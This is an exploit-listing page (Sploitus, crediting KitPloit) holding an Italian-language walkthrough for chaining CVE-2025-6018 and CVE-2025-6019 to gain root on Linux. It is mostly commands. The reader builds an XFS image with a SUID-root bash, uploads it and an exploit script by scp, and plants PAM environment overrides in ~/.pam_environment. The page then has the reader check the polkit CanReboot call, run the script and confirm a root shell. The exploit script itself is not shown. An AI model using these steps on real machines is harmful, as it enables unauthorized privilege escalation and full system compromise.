Sploitus

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

kitploit Β· 2026-08-26

Exploit Code

MARKDOWN123 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IOXSEC-CVE-2025-6018-CVE-2025-6019-PRIVILEGE-ESCALATION-EXPLOIT
# CVE-2025-6018 + CVE-2025-6019 Guida all'Escalation dei Privilegi

## πŸ“‹ Passaggi Rapidi per lo Sfruttamento

### Passo 1: Preparare l'immagine XFS (Macchina locale)

root@kitploit:~
    
    
    # Create 300MB XFS image
    dd if=/dev/zero of=xfs.image bs=1M count=300
    mkfs.xfs -f xfs.image
    
    # Mount and install SUID bash
    mkdir mnt
    sudo mount -t xfs xfs.image mnt
    sudo cp /bin/bash mnt/bash
    sudo chmod 4755 mnt/bash
    sudo umount mnt
    rmdir mnt
    
    # Verify (should show 300M)
    ls -lh xfs.image
    

* * *

### Passo 2: Caricare i file sul target

root@kitploit:~
    
    
    # Upload exploit script and image
    scp exp.sh some-email@example.com:~/
    scp xfs.image some-email@example.com:~/
    

* * *

### Passo 3: Primo accesso - Configurare PAM

root@kitploit:~
    
    
    # SSH login to target
    ssh some-email@example.com
    
    # Write PAM environment variables
    cat > ~/.pam_environment << 'EOF'
    XDG_SEAT OVERRIDE=seat0
    XDG_VTNR OVERRIDE=1
    EOF
    
    # Verify configuration
    cat ~/.pam_environment
    
    # πŸ”₯ Critical: Logout (to activate PAM config)
    exit
    

* * *

### Passo 4: Secondo accesso - Eseguire l'escalation dei privilegi

root@kitploit:~
    
    
    # Re-login via SSH (PAM config now active)
    ssh some-email@example.com
    
    # Verify PAM is active (should return "('yes',)")
    gdbus call --system --dest org.freedesktop.login1 \
        --object-path /org/freedesktop/login1 \
        --method org.freedesktop.login1.Manager.CanReboot
    
    # Execute privilege escalation script
    bash exp.sh
    

* * *

## βœ… Indicatori di successo

Se lo sfruttamento riesce, dovresti vedere:

root@kitploit:~
    
    
    βœ“ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
    βœ“ Root access confirmed!
    
    ════════════════════════════════════════════════════════════
    β•‘ ROOT FLAG                                               β•‘
    β•‘ <flag_here>                                             β•‘
    ════════════════════════════════════════════════════════════
    
    bash-5.2# whoami
    root
    

* * *

## πŸ”§ Risoluzione dei problemi

Problema| Soluzione  
---|---  
  
* * *

## πŸ“Œ Punti chiave

  * βœ… **Devi effettuare il logout e rifare il login** : la configurazione PAM viene applicata solo nelle nuove sessioni
  * βœ… **Verifica CanReboot** : conferma che restituisca `('yes',)` prima di eseguire lo script
  * βœ… **Usa il login SSH** : non usare l'esecuzione in stile `ssh -t user@host "cmd"`



* * *

## 🐱 Gatto Guardiano

**Se fallisce, assicurati che ogni passaggio sia eseguito rigorosamente in ordine!**